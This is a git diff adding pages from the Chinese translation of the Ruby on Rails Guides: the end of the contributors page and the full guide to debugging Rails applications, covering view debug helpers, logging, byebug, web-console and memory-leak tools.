+ Vijayakumar, found as Vijay Dev on the web, is a web applications developer and an open source enthusiast who lives in Chennai, India. He started using Rails in 2009 and began actively contributing to Rails documentation in late 2010. He tweets a lot and also blogs. +

+
Xavier Noria

Xavier Noria

+ Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core team member and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently an independent Ruby on Rails consultant. Oh, he also tweets and can be found everywhere as "fxn". +

+

Rails Guides Designers

+ +
Jason Zimdars

Jason Zimdars

+ Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at Thinkcage.com or follow him on Twitter. +

+

Rails Guides Authors

+ +
Ryan Bigg

Ryan Bigg

+ Ryan Bigg works as a Rails developer at Marketplacer and has been working with Rails since 2006. He's the author of Multi Tenancy With Rails and co-author of Rails 4 in Action. He's written many gems which can be seen on his GitHub page and he also tweets prolifically as @ryanbigg. +

+
Oscar Del Ben

Oscar Del Ben

+Oscar Del Ben is a software engineer at Wildfire. He's a regular open source contributor (GitHub account) and tweets regularly at @oscardelben. +

+
Frederick Cheung

Frederick Cheung

+ Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at spacevatican.org. +

+
Tore Darell

Tore Darell

+ Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. You can follow him on Twitter. +

+
Jeff Dean

Jeff Dean

+ Jeff Dean is a software engineer with Pivotal Labs. +

+
Mike Gunderloy

Mike Gunderloy

+ Mike Gunderloy is a consultant with ActionRails. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at A Fresh Cup and he twitters too much. +

+
Mikel Lindsaar

Mikel Lindsaar

+ Mikel Lindsaar has been working with Rails since 2006 and is the author of the Ruby Mail gem and core contributor (he helped re-write Action Mailer's API). Mikel is the founder of RubyX, has a blog and tweets. +

+
Cássio Marques

Cássio Marques

+ Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at /* CODIFICANDO */, which is mainly written in Portuguese, but will soon get a new section for posts with English translation. +

+
James Miller

James Miller

+ James Miller is a software developer for JK Tech in San Diego, CA. You can find James on GitHub, Gmail, Twitter, and Freenode as "bensie". +

+
Pratik Naik

Pratik Naik

+ Pratik Naik is a Ruby on Rails developer at Basecamp and also a member of the Rails core team. He maintains a blog at has_many :bugs, :through => :rails and has a semi-active twitter account. +

+
Emilio Tagua

Emilio Tagua

+ Emilio Tagua —a.k.a. miloops— is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of Eventioz. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as "miloops". +

+
Heiko Webers

Heiko Webers

+ Heiko Webers is the founder of bauland42, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the Ruby on Rails Security Project. After 10 years of desktop application development, Heiko has rarely looked back. +

+
Akshay Surve

Akshay Surve

+ Akshay Surve is the Founder at DeltaX, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on Twitter, Linkedin, Personal Blog or Quora. +

+

Rails 指南中文译者

+ +
+ Akshay Surve +

安道

+

+ 高校老师 / 自由翻译,翻译了大量 Ruby 资料。博客 +

+
+ +
+ Akshay Surve +

chinakr

+

+ GitHub +

+
+ +

其他贡献者

+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/debugging_rails_applications.html b/v5.0/debugging_rails_applications.html new file mode 100644 index 0000000..5f8c50b --- /dev/null +++ b/v5.0/debugging_rails_applications.html @@ -0,0 +1,964 @@ + + + + + + + +调试 Rails 应用 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

调试 Rails 应用

本文介绍如何调试 Rails 应用。

读完本文后,您将学到:

+
    +
  • 调试的目的;

  • +
  • 如何追查测试没有发现的问题;

  • +
  • 不同的调试方法;

  • +
  • 如何分析堆栈跟踪。

  • +
+ + + + +
+
+ +
+
+
+

1 调试相关的视图辅助方法

一个常见的需求是查看变量的值。在 Rails 中,可以使用下面这三个方法:

+
    +
  • debug

  • +
  • to_yaml

  • +
  • inspect

  • +
+

1.1 debug +

debug 方法使用 YAML 格式渲染对象,把结果放在 <pre> 标签中,可以把任何对象转换成人类可读的数据格式。例如,在视图中有以下代码:

+
+<%= debug @article %>
+<p>
+  <b>Title:</b>
+  <%= @article.title %>
+</p>
+
+
+
+

渲染后会看到如下结果:

+
+--- !ruby/object Article
+attributes:
+  updated_at: 2008-09-05 22:55:47
+  body: It's a very helpful guide for debugging your Rails app.
+  title: Rails debugging guide
+  published: t
+  id: "1"
+  created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+
+Title: Rails debugging guide
+
+
+
+

1.2 to_yaml +

在任何对象上调用 to_yaml 方法可以把对象转换成 YAML。转换得到的对象可以传给 simple_format 辅助方法,格式化输出。debug 就是这么做的:

+
+<%= simple_format @article.to_yaml %>
+<p>
+  <b>Title:</b>
+  <%= @article.title %>
+</p>
+
+
+
+

渲染后得到的结果如下:

+
+--- !ruby/object Article
+attributes:
+updated_at: 2008-09-05 22:55:47
+body: It's a very helpful guide for debugging your Rails app.
+title: Rails debugging guide
+published: t
+id: "1"
+created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+Title: Rails debugging guide
+
+
+
+

1.3 inspect +

另一个用于显示对象值的方法是 inspect,显示数组和散列时使用这个方法特别方便。inspect 方法以字符串的形式显示对象的值。例如:

+
+<%= [1, 2, 3, 4, 5].inspect %>
+<p>
+  <b>Title:</b>
+  <%= @article.title %>
+</p>
+
+
+
+

渲染后得到的结果如下:

+
+[1, 2, 3, 4, 5]
+
+Title: Rails debugging guide
+
+
+
+

2 日志记录器

运行时把信息写入日志文件也很有用。Rails 分别为各个运行时环境维护着单独的日志文件。

2.1 日志记录器是什么?

Rails 使用 ActiveSupport::Logger 类把信息写入日志。当然也可以换用其他库,比如 Log4r

若想替换日志库,可以在 config/application.rb 或其他环境的配置文件中设置,例如:

+
+config.logger = Logger.new(STDOUT)
+config.logger = Log4r::Logger.new("Application Log")
+
+
+
+

或者在 config/environment.rb 中添加下述代码中的某一行:

+
+Rails.logger = Logger.new(STDOUT)
+Rails.logger = Log4r::Logger.new("Application Log")
+
+
+
+

默认情况下,日志文件都保存在 Rails.root/log/ 目录中,日志文件的名称对应于各个环境。

2.2 日志等级

如果消息的日志等级等于或高于设定的等级,就会写入对应的日志文件中。如果想知道当前的日志等级,可以调用 Rails.logger.level 方法。

可用的日志等级包括 :debug:info:warn:error:fatal:unknown,分别对应数字 0-5。修改默认日志等级的方式如下:

+
+config.log_level = :warn # 在环境的配置文件中
+Rails.logger.level = 0 # 任何时候
+
+
+
+

这么设置在开发环境和交付准备环境中很有用,在生产环境中则不会写入大量不必要的信息。

Rails 为所有环境设定的默认日志等级是 debug

2.3 发送消息

把消息写入日志文件可以在控制器、模型或邮件程序中调用 logger.(debug|info|warn|error|fatal) 方法。

+
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+logger.info "Processing the request..."
+logger.fatal "Terminating application, raised unrecoverable error!!!"
+
+
+
+

下面这个例子增加了额外的写日志功能:

+
+class ArticlesController < ApplicationController
+  # ...
+
+  def create
+    @article = Article.new(params[:article])
+    logger.debug "New article: #{@article.attributes.inspect}"
+    logger.debug "Article should be valid: #{@article.valid?}"
+
+    if @article.save
+      flash[:notice] =  'Article was successfully created.'
+      logger.debug "The article was saved and now the user is going to be redirected..."
+      redirect_to(@article)
+    else
+      render action: "new"
+    end
+  end
+
+  # ...
+end
+
+
+
+

执行上述动作后得到的日志如下:

+
+Processing ArticlesController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
+  Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
+vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
+  Parameters: {"commit"=>"Create", "article"=>{"title"=>"Debugging Rails",
+ "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
+ "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"articles"}
+New article: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
+ "published"=>false, "created_at"=>nil}
+Article should be valid: true
+  Article Create (0.000443)   INSERT INTO "articles" ("updated_at", "title", "body", "published",
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
+ 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+The article was saved and now the user is going to be redirected...
+Redirected to # Article:0x20af760>
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/articles]
+
+
+
+

加入这种日志信息有助于发现异常现象。如果添加了额外的日志消息,记得要合理设定日志等级,免得把大量无用的消息写入生产环境的日志文件。

2.4 为日志打标签

运行多用户、多账户的应用时,使用自定义的规则筛选日志信息能节省很多时间。Active Support 中的 TaggedLogging 模块可以实现这种功能,可以在日志消息中加入二级域名、请求 ID 等有助于调试的信息。

+
+logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+logger.tagged("BCX") { logger.info "Stuff" }                            # Logs "[BCX] Stuff"
+logger.tagged("BCX", "Jason") { logger.info "Stuff" }                   # Logs "[BCX] [Jason] Stuff"
+logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
+
+
+
+

2.5 日志对性能的影响

如果把日志写入磁盘,肯定会对应用有点小的性能影响。不过可以做些小调整::debug 等级比 :fatal 等级对性能的影响更大,因为写入的日志消息量更多。

如果按照下面的方式大量调用 Logger,也有潜在的问题:

+
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+
+
+
+

在上述代码中,即使日志等级不包含 :debug 也会对性能产生影响。这是因为 Ruby 要初始化字符串,再花时间做插值。因此建议把代码块传给 logger 方法,只有等于或大于设定的日志等级时才执行其中的代码。重写后的代码如下:

+
+logger.debug {"Person attributes hash: #{@person.attributes.inspect}"}
+
+
+
+

代码块中的内容,即字符串插值,仅当允许 :debug 日志等级时才会执行。这种节省性能的方式只有在日志量比较大时才能体现出来,但却是个好的编程习惯。

3 使用 byebug gem 调试

如果代码表现异常,可以在日志或控制台中诊断问题。但有时使用这种方法效率不高,无法找到导致问题的根源。如果需要检查源码,byebug gem 可以助你一臂之力。

如果想学习 Rails 源码但却无从下手,也可使用 byebug gem。随便找个请求,然后按照这里介绍的方法,从你编写的代码一直研究到 Rails 框架的代码。

3.1 安装

byebug gem 可以设置断点,实时查看执行的 Rails 代码。安装方法如下:

+
+$ gem install byebug
+
+
+
+

在任何 Rails 应用中都可以使用 byebug 方法呼出调试器。

下面举个例子:

+
+class PeopleController < ApplicationController
+  def new
+    byebug
+    @person = Person.new
+  end
+end
+
+
+
+

3.2 Shell

在应用中调用 byebug 方法后,在启动应用的终端窗口中会启用调试器 shell,并显示调试器的提示符 (byebug)。提示符前面显示的是即将执行的代码,当前行以“=>”标记,例如:

+
+[1, 10] in /PathTo/project/app/controllers/articles_controller.rb
+    3:
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     byebug
+=>  8:     @articles = Article.find_recent
+    9:
+   10:     respond_to do |format|
+   11:       format.html # index.html.erb
+   12:       format.json { render json: @articles }
+
+(byebug)
+
+
+
+

如果是浏览器中执行的请求到达了那里,当前浏览器标签页会处于挂起状态,等待调试器完工,跟踪完整个请求。

例如:

+
+=> Booting Puma
+=> Rails 5.0.0 application starting in development on http://0.0.0.0:3000
+=> Run `rails server -h` for more startup options
+Puma starting in single mode...
+* Version 3.4.0 (ruby 2.3.1-p112), codename: Owl Bowl Brawl
+* Min threads: 5, max threads: 5
+* Environment: development
+* Listening on tcp://localhost:3000
+Use Ctrl-C to stop
+Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200
+  ActiveRecord::SchemaMigration Load (0.2ms)  SELECT "schema_migrations".* FROM "schema_migrations"
+Processing by ArticlesController#index as HTML
+
+[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
+    3:
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     byebug
+=>  8:     @articles = Article.find_recent
+    9:
+   10:     respond_to do |format|
+   11:       format.html # index.html.erb
+   12:       format.json { render json: @articles }
+(byebug)
+
+
+
+

现在可以深入分析应用的代码了。首先我们来查看一下调试器的帮助信息,输入 help

+
+(byebug) help
+
+  break      -- Sets breakpoints in the source code
+  catch      -- Handles exception catchpoints
+  condition  -- Sets conditions on breakpoints
+  continue   -- Runs until program ends, hits a breakpoint or reaches a line
+  debug      -- Spawns a subdebugger
+  delete     -- Deletes breakpoints
+  disable    -- Disables breakpoints or displays
+  display    -- Evaluates expressions every time the debugger stops
+  down       -- Moves to a lower frame in the stack trace
+  edit       -- Edits source files
+  enable     -- Enables breakpoints or displays
+  finish     -- Runs the program until frame returns
+  frame      -- Moves to a frame in the call stack
+  help       -- Helps you using byebug
+  history    -- Shows byebug's history of commands
+  info       -- Shows several informations about the program being debugged
+  interrupt  -- Interrupts the program
+  irb        -- Starts an IRB session
+  kill       -- Sends a signal to the current process
+  list       -- Lists lines of source code
+  method     -- Shows methods of an object, class or module
+  next       -- Runs one or more lines of code
+  pry        -- Starts a Pry session
+  quit       -- Exits byebug
+  restart    -- Restarts the debugged program
+  save       -- Saves current byebug session to a file
+  set        -- Modifies byebug settings
+  show       -- Shows byebug settings
+  source     -- Restores a previously saved byebug session
+  step       -- Steps into blocks or methods one or more times
+  thread     -- Commands to manipulate threads
+  tracevar   -- Enables tracing of a global variable
+  undisplay  -- Stops displaying all or some expressions when program stops
+  untracevar -- Stops tracing a global variable
+  up         -- Moves to a higher frame in the stack trace
+  var        -- Shows variables and its values
+  where      -- Displays the backtrace
+
+(byebug)
+
+
+
+

如果想查看前面十行代码,输入 list-(或 l-)。

+
+(byebug) l-
+
+[1, 10] in /PathTo/project/app/controllers/articles_controller.rb
+   1  class ArticlesController < ApplicationController
+   2    before_action :set_article, only: [:show, :edit, :update, :destroy]
+   3
+   4    # GET /articles
+   5    # GET /articles.json
+   6    def index
+   7      byebug
+   8      @articles = Article.find_recent
+   9
+   10      respond_to do |format|
+
+
+
+

这样我们就可以在文件内移动,查看 byebug 所在行上面的代码。如果想查看你在哪一行,输入 list=

+
+(byebug) list=
+
+[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
+    3:
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     byebug
+=>  8:     @articles = Article.find_recent
+    9:
+   10:     respond_to do |format|
+   11:       format.html # index.html.erb
+   12:       format.json { render json: @articles }
+(byebug)
+
+
+
+

3.3 上下文

开始调试应用时,会进入堆栈中不同部分对应的不同上下文。

到达一个停止点或者触发某个事件时,调试器就会创建一个上下文。上下文中包含被终止应用的信息,调试器用这些信息审查帧堆栈,计算变量的值,以及调试器在应用的什么地方终止执行。

任何时候都可执行 backtrace 命令(或别名 where)打印应用的回溯信息。这有助于理解是如何执行到当前位置的。只要你想知道应用是怎么执行到当前代码的,就可以通过 backtrace 命令获得答案。

+
+(byebug) where
+--> #0  ArticlesController.index
+      at /PathToProject/app/controllers/articles_controller.rb:8
+    #1  ActionController::BasicImplicitRender.send_action(method#String, *args#Array)
+      at /PathToGems/actionpack-5.0.0/lib/action_controller/metal/basic_implicit_render.rb:4
+    #2  AbstractController::Base.process_action(action#NilClass, *args#Array)
+      at /PathToGems/actionpack-5.0.0/lib/abstract_controller/base.rb:181
+    #3  ActionController::Rendering.process_action(action, *args)
+      at /PathToGems/actionpack-5.0.0/lib/action_controller/metal/rendering.rb:30
+...
+
+
+
+

当前帧使用 --> 标记。在回溯信息中可以执行 frame n 命令移动(从而改变上下文),其中 n 为帧序号。如果移动了,byebug 会显示新的上下文。

+
+(byebug) frame 2
+
+[176, 185] in /PathToGems/actionpack-5.0.0/lib/abstract_controller/base.rb
+   176:       # is the intended way to override action dispatching.
+   177:       #
+   178:       # Notice that the first argument is the method to be dispatched
+   179:       # which is *not* necessarily the same as the action name.
+   180:       def process_action(method_name, *args)
+=> 181:         send_action(method_name, *args)
+   182:       end
+   183:
+   184:       # Actually call the method associated with the action. Override
+   185:       # this method if you wish to change how action methods are called,
+(byebug)
+
+
+
+

可用的变量和逐行执行代码时一样。毕竟,这就是调试的目的。

向前或向后移动帧可以执行 up [n]down [n] 命令,分别向前或向后移动 n 帧。n 的默认值为 1。向前移动是指向较高的帧数移动,向下移动是指向较低的帧数移动。

3.4 线程

thread 命令(缩写为 th)可以列出所有线程、停止线程、恢复线程,或者在线程之间切换。其选项如下:

+
    +
  • thread:显示当前线程;

  • +
  • thread list:列出所有线程及其状态,+ 符号表示当前线程;

  • +
  • thread stop n:停止线程 n

  • +
  • thread resume n:恢复线程 n

  • +
  • thread switch n:把当前线程切换到线程 n

  • +
+

调试并发线程时,如果想确认代码中没有条件竞争,使用这个命令十分方便。

3.5 审查变量

任何表达式都可在当前上下文中求值。如果想计算表达式的值,直接输入表达式即可。

下面这个例子说明如何查看当前上下文中实例变量的值:

+
+[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
+    3:
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     byebug
+=>  8:     @articles = Article.find_recent
+    9:
+   10:     respond_to do |format|
+   11:       format.html # index.html.erb
+   12:       format.json { render json: @articles }
+
+(byebug) instance_variables
+[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context,
+ :@_action_name, :@_response_body, :@marked_for_same_origin_verification,
+ :@_config]
+
+
+
+

你可能已经看出来了,在控制器中可以使用的实例变量都显示出来了。这个列表随着代码的执行会动态更新。例如,使用 next 命令(本文后面会进一步说明这个命令)执行下一行代码:

+
+(byebug) next
+
+[5, 14] in /PathTo/project/app/controllers/articles_controller.rb
+   5     # GET /articles.json
+   6     def index
+   7       byebug
+   8       @articles = Article.find_recent
+   9
+=> 10       respond_to do |format|
+   11         format.html # index.html.erb
+   12        format.json { render json: @articles }
+   13      end
+   14    end
+   15
+(byebug)
+
+
+
+

然后再查看 instance_variables 的值:

+
+(byebug) instance_variables
+[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context,
+ :@_action_name, :@_response_body, :@marked_for_same_origin_verification,
+ :@_config, :@articles]
+
+
+
+

实例变量中出现了 @articles,因为执行了定义它的代码。

执行 irb 命令可进入 irb 模式(这不显然吗),irb 会话使用当前上下文。

var 命令是显示变量值最便捷的方式:

+
+(byebug) help var
+
+  [v]ar <subcommand>
+
+  Shows variables and its values
+
+
+  var all      -- Shows local, global and instance variables of self.
+  var args     -- Information about arguments of the current scope
+  var const    -- Shows constants of an object.
+  var global   -- Shows global variables.
+  var instance -- Shows instance variables of self or a specific object.
+  var local    -- Shows local variables in current scope.
+
+
+
+

上述方法可以很轻易查看当前上下文中的变量值。例如,下述代码确认没有局部变量:

+
+(byebug) var local
+(byebug)
+
+
+
+

审查对象的方法也可以使用这个命令:

+
+(byebug) var instance Article.new
+@_start_transaction_state = {}
+@aggregation_cache = {}
+@association_cache = {}
+@attributes = #<ActiveRecord::AttributeSet:0x007fd0682a9b18 @attributes={"id"=>#<ActiveRecord::Attribute::FromDatabase:0x007fd0682a9a00 @name="id", @value_be...
+@destroyed = false
+@destroyed_by_association = nil
+@marked_for_destruction = false
+@new_record = true
+@readonly = false
+@transaction_state = nil
+@txn = nil
+
+
+
+

display 命令可用于监视变量,查看在代码执行过程中变量值的变化:

+
+(byebug) display @articles
+1: @articles = nil
+
+
+
+

display 命令后跟的变量值会随着执行堆栈的推移而变化。如果想停止显示变量值,可以执行 undisplay n 命令,其中 n 是变量的代号(在上例中是 1)。

3.6 逐步执行

现在你知道在运行代码的什么位置,以及如何查看变量的值了。下面我们继续执行应用。

step 命令(缩写为 s)可以一直执行应用,直到下一个逻辑停止点,再把控制权交给调试器。next 命令的作用和 step 命令类似,但是 step 命令会在执行下一行代码之前停止,一次只执行一步,而 next 命令会执行下一行代码,但不跳出方法。

我们来看看下面这种情形:

+
+Started GET "/" for 127.0.0.1 at 2014-04-11 13:39:23 +0200
+Processing by ArticlesController#index as HTML
+
+[1, 6] in /PathToProject/app/models/article.rb
+   1: class Article < ApplicationRecord
+   2:   def self.find_recent(limit = 10)
+   3:     byebug
+=> 4:     where('created_at > ?', 1.week.ago).limit(limit)
+   5:   end
+   6: end
+
+(byebug)
+
+
+
+

如果使用 next,不会深入方法调用,byebug 会进入同一上下文中的下一行。这里,进入的是当前方法的最后一行,因此 byebug 会返回调用方的下一行。

+
+(byebug) next
+[4, 13] in /PathToProject/app/controllers/articles_controller.rb
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     @articles = Article.find_recent
+    8:
+=>  9:     respond_to do |format|
+   10:       format.html # index.html.erb
+   11:       format.json { render json: @articles }
+   12:     end
+   13:   end
+
+(byebug)
+
+
+
+

如果使用 stepbyebug 会进入要执行的下一个 Ruby 指令——这里是 Active Support 的 week 方法。

+
+(byebug) step
+
+[49, 58] in /PathToGems/activesupport-5.0.0/lib/active_support/core_ext/numeric/time.rb
+   49:
+   50:   # Returns a Duration instance matching the number of weeks provided.
+   51:   #
+   52:   #   2.weeks # => 14 days
+   53:   def weeks
+=> 54:     ActiveSupport::Duration.new(self * 7.days, [[:days, self * 7]])
+   55:   end
+   56:   alias :week :weeks
+   57:
+   58:   # Returns a Duration instance matching the number of fortnights provided.
+(byebug)
+
+
+
+

逐行执行代码是找出代码缺陷的最佳方式。

还可以使用 step nnext n 一次向前移动 n 步。

3.7 断点

断点设置在何处终止执行代码。调试器会在设定断点的行呼出。

断点可以使用 break 命令(缩写为 b)动态添加。添加断点有三种方式:

+
    +
  • break n:在当前源码文件的第 n 行设定断点。

  • +
  • break file:n [if expression]:在文件 file 的第 n 行设定断点。如果指定了表达式 expression,其返回结果必须为 true 才会启动调试器。

  • +
  • break class(.|#)method [if expression]:在 class 类的 method 方法中设置断点,.# 分别表示类和实例方法。表达式 expression 的作用与 file:n 中的一样。

  • +
+

例如,在前面的情形下:

+
+[4, 13] in /PathToProject/app/controllers/articles_controller.rb
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     @articles = Article.find_recent
+    8:
+=>  9:     respond_to do |format|
+   10:       format.html # index.html.erb
+   11:       format.json { render json: @articles }
+   12:     end
+   13:   end
+
+(byebug) break 11
+Successfully created breakpoint with id 1
+
+
+
+

使用 info breakpoints 命令可以列出断点。如果指定了数字,只会列出对应的断点,否则列出所有断点。

+
+(byebug) info breakpoints
+Num Enb What
+1   y   at /PathToProject/app/controllers/articles_controller.rb:11
+
+
+
+

如果想删除断点,使用 delete n 命令,删除编号为 n 的断点。如果不指定数字,则删除所有在用的断点。

+
+(byebug) delete 1
+(byebug) info breakpoints
+No breakpoints.
+
+
+
+

断点也可以启用或禁用:

+
    +
  • enable breakpoints [n [m […​]]]:在指定的断点列表或者所有断点处停止应用。这是创建断点后的默认状态。

  • +
  • disable breakpoints [n [m […​]]]:让指定的断点(或全部断点)在应用中不起作用。

  • +
+

3.8 捕获异常

catch exception-name 命令(或 cat exception-name)可捕获 exception-name 类型的异常,源码很有可能没有处理这个异常。

执行 catch 命令可以列出所有可用的捕获点。

3.9 恢复执行

有两种方法可以恢复被调试器终止执行的应用:

+
    +
  • continue [n](或 c):从停止的地方恢复执行程序,设置的断点失效。可选的参数 n 指定一个行数,设定一个一次性断点,应用执行到这一行时,断点会被删除。

  • +
  • finish [n]:一直执行,直到指定的堆栈帧返回为止。如果没有指定帧序号,应用会一直执行,直到当前堆栈帧返回为止。当前堆栈帧就是最近刚使用过的帧,如果之前没有移动帧的位置(执行 updownframe 命令),就是第 0 帧。如果指定了帧序号,则运行到指定的帧返回为止。

  • +
+

3.10 编辑

下面这个方法可以在调试器中使用编辑器打开源码:

+
    +
  • +edit [file:n]:使用环境变量 EDITOR 指定的编辑器打开文件 file。还可指定行数 n
  • +
+

3.11 退出

若想退出调试器,使用 quit 命令(缩写为 q)。也可以输入 q!,跳过 Really quit? (y/n) 提示,无条件地退出。

退出后会终止所有线程,因此服务器也会停止,需要重启。

3.12 设置

byebug 有几个选项,可用于调整行为:

+
+(byebug) help set
+
+  set <setting> <value>
+
+  Modifies byebug settings
+
+  Boolean values take "on", "off", "true", "false", "1" or "0". If you
+  don't specify a value, the boolean setting will be enabled. Conversely,
+  you can use "set no<setting>" to disable them.
+
+  You can see these environment settings with the "show" command.
+
+  List of supported settings:
+
+  autosave       -- Automatically save command history record on exit
+  autolist       -- Invoke list command on every stop
+  width          -- Number of characters per line in byebug's output
+  autoirb        -- Invoke IRB on every stop
+  basename       -- <file>:<line> information after every stop uses short paths
+  linetrace      -- Enable line execution tracing
+  autopry        -- Invoke Pry on every stop
+  stack_on_error -- Display stack trace when `eval` raises an exception
+  fullpath       -- Display full file names in backtraces
+  histfile       -- File where cmd history is saved to. Default: ./.byebug_history
+  listsize       -- Set number of source lines to list by default
+  post_mortem    -- Enable/disable post-mortem mode
+  callstyle      -- Set how you want method call parameters to be displayed
+  histsize       -- Maximum number of commands that can be stored in byebug history
+  savefile       -- File where settings are saved to. Default: ~/.byebug_save
+
+
+
+

可以把这些设置保存在家目录中的 .byebugrc 文件里。启动时,调试器会读取这些全局设置。例如:

+
+
+
+set callstyle short
+set listsize 25
+
+
+
+
+

4 使用 web-console gem 调试

Web Console 的作用与 byebug 有点类似,不过它在浏览器中运行。在任何页面中都可以在视图或控制器的上下文中请求控制台。控制台在 HTML 内容下面渲染。

4.1 控制台

在任何控制器动作或视图中,都可以调用 console 方法呼出控制台。

例如,在一个控制器中:

+
+class PostsController < ApplicationController
+  def new
+    console
+    @post = Post.new
+  end
+end
+
+
+
+

或者在一个视图中:

+
+<% console %>
+
+<h2>New Post</h2>
+
+
+
+

控制台在视图中渲染。调用 console 的位置不用担心,它不会在调用的位置显示,而是显示在 HTML 内容下方。

控制台可以执行纯 Ruby 代码,你可以定义并实例化类、创建新模型或审查变量。

一个请求只能渲染一个控制台,否则 web-console 会在第二个 console 调用处抛出异常。

4.2 审查变量

可以调用 instance_variables 列出当前上下文中的全部实例变量。如果想列出全部局部变量,调用 local_variables

4.3 设置

+
    +
  • config.web_console.whitelisted_ips:授权的 IPv4 或 IPv6 地址和网络列表(默认值:127.0.0.1/8, ::1)。

  • +
  • config.web_console.whiny_requests:禁止渲染控制台时记录一条日志(默认值:true)。

  • +
+

web-console 会在远程服务器中执行 Ruby 代码,因此别在生产环境中使用。

5 调试内存泄露

Ruby 应用(Rails 或其他)可能会导致内存泄露,泄露可能由 Ruby 代码引起,也可能由 C 代码引起。

本节介绍如何使用 Valgrind 等工具查找并修正内存泄露问题。

5.1 Valgrind

Valgrind 应用能检测 C 语言层的内存泄露和条件竞争。

Valgrind 提供了很多工具,能自动检测很多内存管理和线程问题,也能详细分析程序。例如,如果 C 扩展调用了 malloc() 函数,但没调用 free() 函数,这部分内存就会一直被占用,直到应用终止执行。

关于如何安装以及如何在 Ruby 中使用 Valgrind,请阅读 Evan Weaver 写的 Valgrind and Ruby 一文。

6 用于调试的插件

有很多 Rails 插件可以帮助你查找问题和调试应用。下面列出一些有用的调试插件:

+
    +
  • Footnotes:在应用的每个页面底部显示请求信息,并链接到源码(可通过 TextMate 打开);

  • +
  • Query Trace:在日志中写入请求源信息;

  • +
  • Query Reviewer:这个 Rails 插件在开发环境中会在每个 SELECT 查询前执行 EXPLAIN 查询,并在每个页面中添加一个 div 元素,显示分析到的查询问题;

  • +
  • Exception Notifier:提供了一个邮件程序和一组默认的邮件模板,Rails 应用出现问题后发送邮件通知;

  • +
  • Better Errors:使用全新的页面替换 Rails 默认的错误页面,显示更多的上下文信息,例如源码和变量的值;

  • +
  • RailsPanel:一个 Chrome 扩展,在浏览器的开发者工具中显示 development.log 文件的内容,显示的内容包括:数据库查询时间、渲染时间、总时间、参数列表、渲染的视图,等等。

  • +
+

7 参考资源

+ + + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
